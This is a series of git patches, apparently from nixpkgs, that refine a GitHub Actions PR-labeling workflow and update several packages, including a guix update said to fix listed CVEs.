+              const cutoff = new Date(workflowData.workflow_runs[0]?.created_at ?? new Date().getTime() - 1 * 60 * 60 * 1000)
+              core.info('cutoff timestamp: ' + cutoff.toISOString())
+
+              const updatedItems = await github.paginate(
+                github.rest.search.issuesAndPullRequests,
+                {
+                  q: [
+                    `repo:"${process.env.GITHUB_REPOSITORY}"`,
+                    'type:pr',
+                    'is:open',
+                    `updated:>=${cutoff.toISOString()}`
+                  ].join(' AND '),
+                  // TODO: Remove in 2025-10, when it becomes the default.
+                  advanced_search: true
+                }
+              )
+
+              const allOptions = {
+                q: [
+                  `repo:"${process.env.GITHUB_REPOSITORY}"`,
+                  'type:pr',
+                  'is:open'
+                ].join(' AND '),
+                sort: 'created',
+                direction: 'asc',
+                // TODO: Remove in 2025-10, when it becomes the default.
+                advanced_search: true
+              }
+
+              const { total_count: total_pulls } = (await github.rest.search.issuesAndPullRequests({
+                ...allOptions,
+                per_page: 1
+              })).data
+              const { total_count: total_runs } = workflowData
+              const allItems = (await github.rest.search.issuesAndPullRequests({
+                ...allOptions,
+                per_page: 100,
+                // We iterate through pages of 100 items across scheduled runs. With currently ~7000 open PRs and
+                // up to 6*24=144 scheduled runs per day, we hit every PR twice each day.
+                // We might not hit every PR on one iteration, because the pages will shift slightly when
+                // PRs are closed or merged. We assume this to be OK on the bigger scale, because a PR which was
+                // missed once, would have to move through the whole page to be missed again. This is very unlikely,
+                // so it should certainly be hit on the next iteration.
+                // TODO: Evaluate after a while, whether the above holds still true and potentially implement
+                // an overlap between runs.
+                page: total_runs % Math.ceil(total_pulls / 100)
+              })).data.items
+
+              // Some items might be in both search results, so filtering out duplicates as well.
+              const items = [].concat(updatedItems, allItems)
+                .filter((thisItem, idx, arr) => idx == arr.findIndex(firstItem => firstItem.number == thisItem.number))
+
+              ;(await Promise.allSettled(items.map(handle)))
+                .filter(({ status }) => status == 'rejected')
+                .map(({ reason }) => core.setFailed(`${reason.message}\n${reason.cause.stack}`))
+
+              core.notice(`Processed ${stats.prs} PRs, made ${stats.requests + stats.artifacts} API requests and downloaded ${stats.artifacts} artifacts.`)
+            }
             clearInterval(reservoirUpdater)
 
       - name: Log current API rate limits

From 770aadc50692fd38cf0748651276af6db4b0eb13 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 24 Jun 2025 19:31:21 +0200
Subject: [PATCH 1539/4511] workflows/labels: fix stale label

To set the stale label properly, we need to consider the right timeline
events only - and their respective relevant timestamps.

(cherry picked from commit d5072dd3444b7da967eecd6c6b35687cfde444c6)
---
 .github/workflows/labels.yml | 29 +++++++++++++++++++++++++----
 1 file changed, 25 insertions(+), 4 deletions(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index c3bc9301f67f..3abf5011a97f 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -226,11 +226,32 @@ jobs:
                       per_page: 100
                     }
                   ))
-                  // We also ignore base_ref_force_pushed, which will not happen in nixpkgs, but
-                  // is very useful for testing in forks.
-                  .findLast(({ event }) => !['labeled', 'unlabeled', 'base_ref_force_pushed'].includes(event))
-                  ?.created_at ?? item.created_at
+                  .filter(({ event }) => [
+                    // These events are hand-picked from:
+                    //   https://docs.github.com/en/rest/using-the-rest-api/issue-event-types?apiVersion=2022-11-28
+                    // Each of those causes a PR/issue to *not* be considered as stale anymore.
+                    // Most of these use created_at.
+                    'assigned',
+                    'commented', // uses updated_at, because that could be > created_at
+                    'committed', // uses committer.date
+                    'head_ref_force_pushed',
+                    'milestoned',
+                    'pinned',
+                    'ready_for_review',
+                    'renamed',
+                    'reopened',
+                    'review_dismissed',
+                    'review_requested',
+                    'reviewed', // uses submitted_at
+                    'unlocked',
+                    'unmarked_as_duplicate',
+                  ].includes(event))
+                  .map(({ created_at, updated_at, committer, submitted_at }) => new Date(updated_at ?? created_at ?? submitted_at ?? committer.date))
+                  .sort()
+                  .reverse()
+                  .at(0) ?? item.created_at
                 )
+
                 const stale_at = new Date(new Date().setDate(new Date().getDate() - 180))
 
                 // Manage most of the labels, without eval results

From 3460ac2fbb25a26c82aeb58bc6487829983720fa Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 24 Jun 2025 19:34:21 +0200
Subject: [PATCH 1540/4511] workflows/labels: fix running in pull_request
 context

When running in a pull_request context, the labels job is part of the
currently running workflow - which will never have succeeded, yet.
Apparently it could be failed already, so in this case we take *any*
workflow run, no matter its state.

(cherry picked from commit ed1fc4c6b3561fcef919ac289aaeddba37d112cc)
---
 .github/workflows/labels.yml | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 3abf5011a97f..c2b33ef8adba 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -152,7 +152,8 @@ jobs:
                   ...context.repo,
                   workflow_id: 'pr.yml',
                   event: 'pull_request_target',
-                  status: 'success',
+                  // In pull_request contexts the workflow is still running.
+                  status: context.payload.pull_request ? undefined : 'success',
                   exclude_pull_requests: true,
                   head_sha: pull_request.head.sha
                 })).data.workflow_runs[0]?.id ??

From e803fd6d975205f6e9202336f0abb5c0fca0bf88 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 24 Jun 2025 19:43:57 +0200
Subject: [PATCH 1541/4511] workflows/labels: handle PR-creation-edge-case for
 merge conflict label

Explained very well by the code comment.

(cherry picked from commit 39dc87db4bf75ad01e1f56d47e187861fbe8790a)
---
 .github/workflows/labels.yml | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index c2b33ef8adba..38f5071efebd 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -255,6 +255,13 @@ jobs:
 
                 const stale_at = new Date(new Date().setDate(new Date().getDate() - 180))
 
+                // After creation of a Pull Request, `merge_commit_sha` will be null initially:
+                // The very first merge commit will only be calculated after a little while.
+                // To avoid labeling the PR as conflicted before that, we wait a few minutes.
+                // This is intentionally less than the time that Eval takes, so that the label job
+                // running after Eval can indeed label the PR as conflicted if that is the case.
+                const merge_commit_sha_valid = new Date() - new Date(pull_request.created_at) > 3 * 60 * 1000
+
                 // Manage most of the labels, without eval results
                 const after = Object.assign(
                   {},
@@ -271,7 +278,7 @@ jobs:
                     // On the first pass of the day, we just fetch the pull request, which triggers
                     // the creation. At this stage, the label is likely not updated, yet.
                     // The second pass will then read the result from the first pass and set the label.
-                    '2.status: merge conflict': !pull_request.merge_commit_sha,
+                    '2.status: merge conflict': merge_commit_sha_valid && !pull_request.merge_commit_sha,
                     '2.status: stale': !before['1.severity: security'] && latest_event_at < stale_at,
                     '12.approvals: 1': approvals.size == 1,
                     '12.approvals: 2': approvals.size == 2,

From 16a3962fa7676411b0d0ceda83570025e94d532a Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 24 Jun 2025 19:51:53 +0200
Subject: [PATCH 1542/4511] workflows/labels: improve cleanup of reservoir
 timer

This should make sure that the timer is cleaned up, no matter what. This
didn't seem to be the case before, where it would still be stuck
sometimes, when throwing an error somewhere.

(cherry picked from commit ddf3480d49ba35240e324644015ccb2422379679)
---
 .github/workflows/labels.yml | 128 ++++++++++++++++++-----------------
 1 file changed, 65 insertions(+), 63 deletions(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 38f5071efebd..efc8556b1556 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -121,7 +121,6 @@ jobs:
             await updateReservoir()
             // Update remaining requests every minute to account for other jobs running in parallel.
             const reservoirUpdater = setInterval(updateReservoir, 60 * 1000)
-            process.on('uncaughtException', () => clearInterval(reservoirUpdater))
 
             async function handle(item) {
               try {
@@ -330,80 +329,83 @@ jobs:
               }
             }
 
-            if (context.payload.pull_request) {
-              await handle(context.payload.pull_request)
-            } else {
-              const workflowData = (await github.rest.actions.listWorkflowRuns({
-                ...context.repo,
-                workflow_id: 'labels.yml',
-                event: 'schedule',
-                status: 'success',
-                exclude_pull_requests: true,
-                per_page: 1
-              })).data
+            try {
+              if (context.payload.pull_request) {
+                await handle(context.payload.pull_request)
+              } else {
+                const workflowData = (await github.rest.actions.listWorkflowRuns({
+                  ...context.repo,
+                  workflow_id: 'labels.yml',
+                  event: 'schedule',
+                  status: 'success',
+                  exclude_pull_requests: true,
+                  per_page: 1
+                })).data
 
-              // Go back as far as the last successful run of this workflow to make sure
-              // we are not leaving anyone behind on GHA failures.
-              // Defaults to go back 1 hour on the first run.
-              const cutoff = new Date(workflowData.workflow_runs[0]?.created_at ?? new Date().getTime() - 1 * 60 * 60 * 1000)
-              core.info('cutoff timestamp: ' + cutoff.toISOString())
+                // Go back as far as the last successful run of this workflow to make sure
+                // we are not leaving anyone behind on GHA failures.
+                // Defaults to go back 1 hour on the first run.
+                const cutoff = new Date(workflowData.workflow_runs[0]?.created_at ?? new Date().getTime() - 1 * 60 * 60 * 1000)
+                core.info('cutoff timestamp: ' + cutoff.toISOString())
 
-              const updatedItems = await github.paginate(
-                github.rest.search.issuesAndPullRequests,
-                {
+                const updatedItems = await github.paginate(
+                  github.rest.search.issuesAndPullRequests,
+                  {
+                    q: [
+                      `repo:"${process.env.GITHUB_REPOSITORY}"`,
+                      'type:pr',
+                      'is:open',
+                      `updated:>=${cutoff.toISOString()}`
+                    ].join(' AND '),
+                    // TODO: Remove in 2025-10, when it becomes the default.
+                    advanced_search: true
+                  }
+                )
+
+                const allOptions = {
                   q: [
                     `repo:"${process.env.GITHUB_REPOSITORY}"`,
                     'type:pr',
-                    'is:open',
-                    `updated:>=${cutoff.toISOString()}`
+                    'is:open'
                   ].join(' AND '),
+                  sort: 'created',
+                  direction: 'asc',
                   // TODO: Remove in 2025-10, when it becomes the default.
                   advanced_search: true
                 }
-              )
 
-              const allOptions = {
-                q: [
-                  `repo:"${process.env.GITHUB_REPOSITORY}"`,
-                  'type:pr',
-                  'is:open'
-                ].join(' AND '),
-                sort: 'created',
-                direction: 'asc',
-                // TODO: Remove in 2025-10, when it becomes the default.
-                advanced_search: true
+                const { total_count: total_pulls } = (await github.rest.search.issuesAndPullRequests({
+                  ...allOptions,
+                  per_page: 1
+                })).data
+                const { total_count: total_runs } = workflowData
+                const allItems = (await github.rest.search.issuesAndPullRequests({
+                  ...allOptions,
+                  per_page: 100,
+                  // We iterate through pages of 100 items across scheduled runs. With currently ~7000 open PRs and
+                  // up to 6*24=144 scheduled runs per day, we hit every PR twice each day.
+                  // We might not hit every PR on one iteration, because the pages will shift slightly when
+                  // PRs are closed or merged. We assume this to be OK on the bigger scale, because a PR which was
+                  // missed once, would have to move through the whole page to be missed again. This is very unlikely,
+                  // so it should certainly be hit on the next iteration.
+                  // TODO: Evaluate after a while, whether the above holds still true and potentially implement
+                  // an overlap between runs.
+                  page: total_runs % Math.ceil(total_pulls / 100)
+                })).data.items
+
+                // Some items might be in both search results, so filtering out duplicates as well.
+                const items = [].concat(updatedItems, allItems)
+                  .filter((thisItem, idx, arr) => idx == arr.findIndex(firstItem => firstItem.number == thisItem.number))
+
+                ;(await Promise.allSettled(items.map(handle)))
+                  .filter(({ status }) => status == 'rejected')
+                  .map(({ reason }) => core.setFailed(`${reason.message}\n${reason.cause.stack}`))
+
+                core.notice(`Processed ${stats.prs} PRs, made ${stats.requests + stats.artifacts} API requests and downloaded ${stats.artifacts} artifacts.`)
               }
-
-              const { total_count: total_pulls } = (await github.rest.search.issuesAndPullRequests({
-                ...allOptions,
-                per_page: 1
-              })).data
-              const { total_count: total_runs } = workflowData
-              const allItems = (await github.rest.search.issuesAndPullRequests({
-                ...allOptions,
-                per_page: 100,
-                // We iterate through pages of 100 items across scheduled runs. With currently ~7000 open PRs and
-                // up to 6*24=144 scheduled runs per day, we hit every PR twice each day.
-                // We might not hit every PR on one iteration, because the pages will shift slightly when
-                // PRs are closed or merged. We assume this to be OK on the bigger scale, because a PR which was
-                // missed once, would have to move through the whole page to be missed again. This is very unlikely,
-                // so it should certainly be hit on the next iteration.
-                // TODO: Evaluate after a while, whether the above holds still true and potentially implement
-                // an overlap between runs.
-                page: total_runs % Math.ceil(total_pulls / 100)
-              })).data.items
-
-              // Some items might be in both search results, so filtering out duplicates as well.
-              const items = [].concat(updatedItems, allItems)
-                .filter((thisItem, idx, arr) => idx == arr.findIndex(firstItem => firstItem.number == thisItem.number))
-
-              ;(await Promise.allSettled(items.map(handle)))
-                .filter(({ status }) => status == 'rejected')
-                .map(({ reason }) => core.setFailed(`${reason.message}\n${reason.cause.stack}`))
-
-              core.notice(`Processed ${stats.prs} PRs, made ${stats.requests + stats.artifacts} API requests and downloaded ${stats.artifacts} artifacts.`)
+            } finally {
+              clearInterval(reservoirUpdater)
             }
-            clearInterval(reservoirUpdater)
 
       - name: Log current API rate limits
         env:

From 2d017eece87b4b41789ed6b0f77983622479d9ac Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 24 Jun 2025 20:52:50 +0200
Subject: [PATCH 1543/4511] workflows/labels: use /pulls endpoint instead of
 search for "all" pull requests

It's necessary to use a combination of different endpoints here, because
the /search endpoint only allows fetching the first 1000 items and will
fail with a higher page number (11+). On the flip side, the /pulls
endpoint doesn't allow counting the total number of results, so we can't
calculate the required page number with its response.

Putting both together should work, though.

(cherry picked from commit 579bfd48daf875aea88171c1fa6abccf4b21a956)
---
 .github/workflows/labels.yml | 27 +++++++++++++++------------
 1 file changed, 15 insertions(+), 12 deletions(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index efc8556b1556..9c664d9c11f9 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -138,8 +138,7 @@ jobs:
 
                 // The search result is of a format that works for both issues and pull requests and thus
                 // does not have all fields of a full pull_request response. Notably, it is missing `head.sha`,
-                // which we need to fetch the workflow run below. When triggered via pull_request event,
-                // this field is already available.
+                // which we need to fetch the workflow run below. This field is already available non-search sources.
                 // This API request is also important for the merge-conflict label, because it triggers the
                 // creation of a new test merge commit. This is needed to actually determine the state of a PR.
                 const pull_request = item.head ? item : (await github.rest.pulls.get({
@@ -362,7 +361,11 @@ jobs:
                   }
                 )
 
-                const allOptions = {
+                // The search endpoint only allows fetching the first 1000 records, but the
+                // pull request list endpoint does not support counting the total number
+                // of results.
+                // Thus, we use /search for counting and /pulls for reading the response.
+                const { total_count: total_pulls } = (await github.rest.search.issuesAndPullRequests({
                   q: [
                     `repo:"${process.env.GITHUB_REPOSITORY}"`,
                     'type:pr',
@@ -371,16 +374,16 @@ jobs:
                   sort: 'created',
                   direction: 'asc',
                   // TODO: Remove in 2025-10, when it becomes the default.
-                  advanced_search: true
-                }
-
-                const { total_count: total_pulls } = (await github.rest.search.issuesAndPullRequests({
-                  ...allOptions,
+                  advanced_search: true,
                   per_page: 1
                 })).data
                 const { total_count: total_runs } = workflowData
-                const allItems = (await github.rest.search.issuesAndPullRequests({
-                  ...allOptions,
+
+                const allPulls = (await github.rest.pulls.list({
+                  ...context.repo,
+                  state: 'open',
+                  sort: 'created',
+                  direction: 'asc',
                   per_page: 100,
                   // We iterate through pages of 100 items across scheduled runs. With currently ~7000 open PRs and
                   // up to 6*24=144 scheduled runs per day, we hit every PR twice each day.
@@ -391,10 +394,10 @@ jobs:
                   // TODO: Evaluate after a while, whether the above holds still true and potentially implement
                   // an overlap between runs.
                   page: total_runs % Math.ceil(total_pulls / 100)
-                })).data.items
+                })).data
 
                 // Some items might be in both search results, so filtering out duplicates as well.
-                const items = [].concat(updatedItems, allItems)
+                const items = [].concat(updatedItems, allPulls)
                   .filter((thisItem, idx, arr) => idx == arr.findIndex(firstItem => firstItem.number == thisItem.number))
 
                 ;(await Promise.allSettled(items.map(handle)))

From 615b5eebe8f14a374a5635289cd0ebc2dd141cc4 Mon Sep 17 00:00:00 2001
From: Antoine du Hamel <duhamelantoine1995@gmail.com>
Date: Wed, 25 Jun 2025 01:15:55 +0200
Subject: [PATCH 1544/4511] nodejs_24: 24.2.0 -> 24.3.0

(cherry picked from commit cda781665a46903804971722ec010705be7d8591)
---
 pkgs/development/web/nodejs/v24.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/web/nodejs/v24.nix b/pkgs/development/web/nodejs/v24.nix
index befcf6759c96..b6069702ca6a 100644
--- a/pkgs/development/web/nodejs/v24.nix
+++ b/pkgs/development/web/nodejs/v24.nix
@@ -17,8 +17,8 @@ let
 in
 buildNodejs {
   inherit enableNpm;
-  version = "24.2.0";
-  sha256 = "40143d43efbdeeb9537995f532126c494d63a31da332acb5022f76f00afc62ab";
+  version = "24.3.0";
+  sha256 = "eb688ef8a63fda9ebc0b5f907609a46e26db6d9aceefc0832009a98371e992ed";
   patches =
     (
       if (stdenv.hostPlatform.emulatorAvailable buildPackages) then

From c5a7287ee3bd98a6423ff03b7d28581c6917e5d5 Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Wed, 25 Jun 2025 08:21:38 +0200
Subject: [PATCH 1545/4511] vencord: 1.12.3 -> 1.12.4

(cherry picked from commit c3a862db042cc3d1956477a404eaeff1a28dca22)
---
 pkgs/by-name/ve/vencord/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ve/vencord/package.nix b/pkgs/by-name/ve/vencord/package.nix
index 3b919d9e583e..c6498b649e54 100644
--- a/pkgs/by-name/ve/vencord/package.nix
+++ b/pkgs/by-name/ve/vencord/package.nix
@@ -14,13 +14,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "vencord";
-  version = "1.12.3";
+  version = "1.12.4";
 
   src = fetchFromGitHub {
     owner = "Vendicated";
     repo = "Vencord";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-fOZXgyA61G+D7otNNO8d89ghR/GiYPJ7vSZtj9TeGuU=";
+    hash = "sha256-x5tbLoNGBT3tS+QXn0piFMM8+uqoQt8gfQJap1TyLmQ=";
   };
 
   pnpmDeps = pnpm_10.fetchDeps {

From a35e2c14be62c5e01b7e47984ef7823ea3b4d1f8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Alexandru=20Scvor=C8=9Bov?= <code@scvalex.net>
Date: Sun, 22 Jun 2025 09:13:09 +0100
Subject: [PATCH 1546/4511] containerd: 2.1.1 -> 2.1.3

(cherry picked from commit 5715cb1e8f4e0bae8f8f54f3b38acb24dfa60196)
---
 pkgs/by-name/co/containerd/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/co/containerd/package.nix b/pkgs/by-name/co/containerd/package.nix
index 555f0bc2fe80..355d3ce4241f 100644
--- a/pkgs/by-name/co/containerd/package.nix
+++ b/pkgs/by-name/co/containerd/package.nix
@@ -16,7 +16,7 @@
 
 buildGoModule rec {
   pname = "containerd";
-  version = "2.1.1";
+  version = "2.1.3";
 
   outputs = [
     "out"
@@ -27,7 +27,7 @@ buildGoModule rec {
     owner = "containerd";
     repo = "containerd";
     tag = "v${version}";
-    hash = "sha256-ZqQX+bogzAsMvqYNKyWvHF2jdPOIhNQDizKEDbcbmOg=";
+    hash = "sha256-MqHcwomsVYbjziO0vIpGAcREChe5mbJVGsvM96bszLA=";
   };
 
   postPatch = "patchShebangs .";

From 77c6b01fa79b02c617e13957103adfd52259a701 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 25 Jun 2025 00:45:49 +0000
Subject: [PATCH 1547/4511] confy: 0.8.0 -> 0.8.1

(cherry picked from commit 643d10d7321d2c55ab7381660d747d0ee80c0e05)
---
 pkgs/by-name/co/confy/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/co/confy/package.nix b/pkgs/by-name/co/confy/package.nix
index 1f2a8ab4f067..46a658e3db5d 100644
--- a/pkgs/by-name/co/confy/package.nix
+++ b/pkgs/by-name/co/confy/package.nix
@@ -17,13 +17,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "confy";
-  version = "0.8.0";
+  version = "0.8.1";
 
   src = fetchFromSourcehut {
     owner = "~fabrixxm";
     repo = "confy";
     rev = finalAttrs.version;
-    hash = "sha256-lQZ9joLK6w+sIjCVOEHstnnQomUl2E4F8FXCZukMUkI=";
+    hash = "sha256-rkVem9bPjp68Pk8fVPMDZLFFQsqeeRsynWciCk6xWhU=";
   };
 
   nativeBuildInputs = [

From cb7dd7f25521692a03e9e849b97d508afed32058 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 25 Jun 2025 09:44:33 +0200
Subject: [PATCH 1548/4511] workflows/labels: fix stale label date sorting

With the help of:
https://stackabuse.com/how-to-sort-an-array-by-date-in-javascript/

(cherry picked from commit c9257371dc8bc0a2f1e2c65997d2cc4a5ad7996e)
---
 .github/workflows/labels.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 9c664d9c11f9..1aa46d751206 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -246,8 +246,8 @@ jobs:
                     'unmarked_as_duplicate',
                   ].includes(event))
                   .map(({ created_at, updated_at, committer, submitted_at }) => new Date(updated_at ?? created_at ?? submitted_at ?? committer.date))
-                  .sort()
-                  .reverse()
+                  // Reverse sort by date value. The default sort() sorts by string representation, which is bad for dates.
+                  .sort((a,b) => b-a)
                   .at(0) ?? item.created_at
                 )
 

From cc2830d4a80fb4327ab81602eca1977bf2d09825 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 25 Jun 2025 12:30:10 +0200
Subject: [PATCH 1549/4511] workflows/labels: fix merge conflict label

The previous implementation had two problems:
- When switching from /search to /pulls, we disabled the additional GET
on each single pull request - which causes no test merge commit creation
for all PRs. This means, merge conflicts will not actually be detected.
- By using `item` in the pull-request triggered case, this goes back to
`context.payload.pull_request`, which is the state *at the beginning* of
the workflow run. But this renders our "let's wait 3 minutes before
checking merge_commit_sha" logic void. While we wait for 3 minutes, we
still use the *old* value afterwards...

Just making the extra request every time simplifies the logic and solves
both problems.

(cherry picked from commit 59ac9479e4675cb052723b971cc02064e85209c8)
---
 .github/workflows/labels.yml | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 1aa46d751206..3421ef77da5e 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -136,12 +136,9 @@ jobs:
                 const pull_number = item.number
                 const issue_number = item.number
 
-                // The search result is of a format that works for both issues and pull requests and thus
-                // does not have all fields of a full pull_request response. Notably, it is missing `head.sha`,
-                // which we need to fetch the workflow run below. This field is already available non-search sources.
-                // This API request is also important for the merge-conflict label, because it triggers the
+                // This API request is important for the merge-conflict label, because it triggers the
                 // creation of a new test merge commit. This is needed to actually determine the state of a PR.
-                const pull_request = item.head ? item : (await github.rest.pulls.get({
+                const pull_request = (await github.rest.pulls.get({
                   ...context.repo,
                   pull_number
                 })).data

From f6e69bb43490ab987db5f95cb31d36c0b24a5660 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas.gerbet@enalean.com>
Date: Wed, 25 Jun 2025 13:25:00 +0200
Subject: [PATCH 1550/4511] guix: remove usage of with lib

Treewide change was done in e61bb30305eaa4ba193dbd09a6895c6a92958cd5.
---
 pkgs/by-name/gu/guix/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/gu/guix/package.nix b/pkgs/by-name/gu/guix/package.nix
index 82a824e4e2d0..e72bc7ef46cf 100644
--- a/pkgs/by-name/gu/guix/package.nix
+++ b/pkgs/by-name/gu/guix/package.nix
@@ -160,7 +160,7 @@ stdenv.mkDerivation rec {
     inherit (nixosTests) guix;
   };
 
-  meta = with lib; {
+  meta = {
     description = "Functional package manager with a Scheme interface";
     longDescription = ''
       GNU Guix is a purely functional package manager for the GNU system, and a distribution thereof.
@@ -176,13 +176,13 @@ stdenv.mkDerivation rec {
     '';
     homepage = "http://www.gnu.org/software/guix";
     changelog = "https://git.savannah.gnu.org/cgit/guix.git/plain/NEWS?h=v${version}";
-    license = licenses.gpl3Plus;
+    license = lib.licenses.gpl3Plus;
     mainProgram = "guix";
-    maintainers = with maintainers; [
+    maintainers = with lib.maintainers; [
       cafkafk
       foo-dogsquared
       hpfr
     ];
-    platforms = platforms.linux;
+    platforms = lib.platforms.linux;
   };
 }

From 2f92c7f3d6d03de71da6aa1eade3d1b019c25d45 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
Date: Tue, 24 Jun 2025 14:33:11 +0200
Subject: [PATCH 1551/4511] guix: 1.4.0 -> 1.4.0-unstable-2025-06.24

Fixes CVE-2025-46415, CVE-2025-52991, CVE-2025-52992, CVE-2025-52993 and
CVE-2025-46416.

(cherry picked from commit 25354a7d4d8e284fc83bd8d5790156a2846e642b)
---
 .../gu/guix/missing-cstdint-include.patch     | 24 +++++++
 pkgs/by-name/gu/guix/package.nix              | 62 +++++++------------
 2 files changed, 48 insertions(+), 38 deletions(-)
 create mode 100644 pkgs/by-name/gu/guix/missing-cstdint-include.patch

diff --git a/pkgs/by-name/gu/guix/missing-cstdint-include.patch b/pkgs/by-name/gu/guix/missing-cstdint-include.patch
new file mode 100644
index 000000000000..4799744d1043
--- /dev/null
+++ b/pkgs/by-name/gu/guix/missing-cstdint-include.patch
@@ -0,0 +1,24 @@
+From bdf4159dd5c1cf925512c0eb8490846c084e3c8c Mon Sep 17 00:00:00 2001
+From: Reepca Russelstein
+Date: Tue, 24 Jun 2025 22:35:04 -0500
+Subject: [PATCH] nix: libutil: add <cstdint> include to seccomp.hh.
+
+* nix/libutil/seccomp.hh (<cstdint>): add include of header.
+
+Change-Id: I0a0b2892d81dbab662eda1ba80f4736178d70c65
+---
+ nix/libutil/seccomp.hh | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/nix/libutil/seccomp.hh b/nix/libutil/seccomp.hh
+index 634dfad5f8..a4b449fc66 100644
+--- a/nix/libutil/seccomp.hh
++++ b/nix/libutil/seccomp.hh
+@@ -4,6 +4,7 @@
+ #include <linux/audit.h> /* For AUDIT_ARCH_* */
+ #include <linux/seccomp.h>
+ #include <linux/filter.h>
++#include <cstdint>
+ 
+ 
+ /* This file provides two preprocessor macros (among other things):
diff --git a/pkgs/by-name/gu/guix/package.nix b/pkgs/by-name/gu/guix/package.nix
index e72bc7ef46cf..3451676d931b 100644
--- a/pkgs/by-name/gu/guix/package.nix
+++ b/pkgs/by-name/gu/guix/package.nix
@@ -1,9 +1,9 @@
 {
   lib,
   stdenv,
-  fetchurl,
-  fetchpatch,
-  fetchDebianPatch,
+  fetchgit,
+  graphviz,
+  gettext,
   autoreconfHook,
   disarchive,
   git,
@@ -27,6 +27,7 @@
   pkg-config,
   po4a,
   scheme-bytestructures,
+  slirp4netns,
   texinfo,
   bzip2,
   libgcrypt,
@@ -37,45 +38,21 @@
   storeDir ? "/gnu/store",
   confDir ? "/etc",
 }:
-
+let
+  rev = "30a5d140aa5a789a362749d057754783fea83dde";
+in
 stdenv.mkDerivation rec {
   pname = "guix";
-  version = "1.4.0";
+  version = "1.4.0-unstable-2025-06-24";
 
-  src = fetchurl {
-    url = "mirror://gnu/guix/guix-${version}.tar.gz";
-    hash = "sha256-Q8dpy/Yy7wVEmsH6SMG6FSwzSUxqvH5HE3u6eyFJ+KQ=";
+  src = fetchgit {
+    url = "https://codeberg.org/guix/guix.git";
+    inherit rev;
+    hash = "sha256-QsOYApnwA2hb1keSv6p3EpMT09xCs9uyoSeIdXzftF0=";
   };
 
   patches = [
-    (fetchpatch {
-      name = "CVE-2024-27297_1.patch";
-      url = "https://git.savannah.gnu.org/cgit/guix.git/patch/?id=8f4ffb3fae133bb21d7991e97c2f19a7108b1143";
-      hash = "sha256-xKo1h2uckC2pYHt+memekagfL6dWcF8gOnTOOW/wJUU=";
-    })
-    (fetchpatch {
-      name = "CVE-2024-27297_2.patch";
-      url = "https://git.savannah.gnu.org/cgit/guix.git/patch/?id=ff1251de0bc327ec478fc66a562430fbf35aef42";
-      hash = "sha256-f4KWDVrvO/oI+4SCUHU5GandkGtHrlaM1BWygM/Qlao=";
-    })
-    # see https://guix.gnu.org/en/blog/2024/build-user-takeover-vulnerability
-    (fetchDebianPatch {
-      inherit pname version;
-      debianRevision = "8";
-      patch = "security/0101-daemon-Sanitize-failed-build-outputs-prior-to-exposi.patch";
-      hash = "sha256-cbra/+K8+xHUJrCKRgzJCuhMBpzCSjgjosKAkJx7QIo=";
-    })
-    (fetchDebianPatch {
-      inherit pname version;
-      debianRevision = "8";
-      patch = "security/0102-daemon-Sanitize-successful-build-outputs-prior-to-ex.patch";
-      hash = "sha256-mOnlYtpIuYL+kDvSNuXuoDLJP03AA9aI2ALhap+0NOM=";
-    })
-    (fetchpatch {
-      name = "fix-guile-ssh-detection.patch";
-      url = "https://git.savannah.gnu.org/cgit/guix.git/patch/?id=b8a45bd0473ab2ba9b96b7ef429a557ece9bf06c";
-      hash = "sha256-oYkgM694qPK8kqgxatkr4fj/GL73ozTNQADNyDeU6WY=";
-    })
+    ./missing-cstdint-include.patch
   ];
 
   postPatch = ''
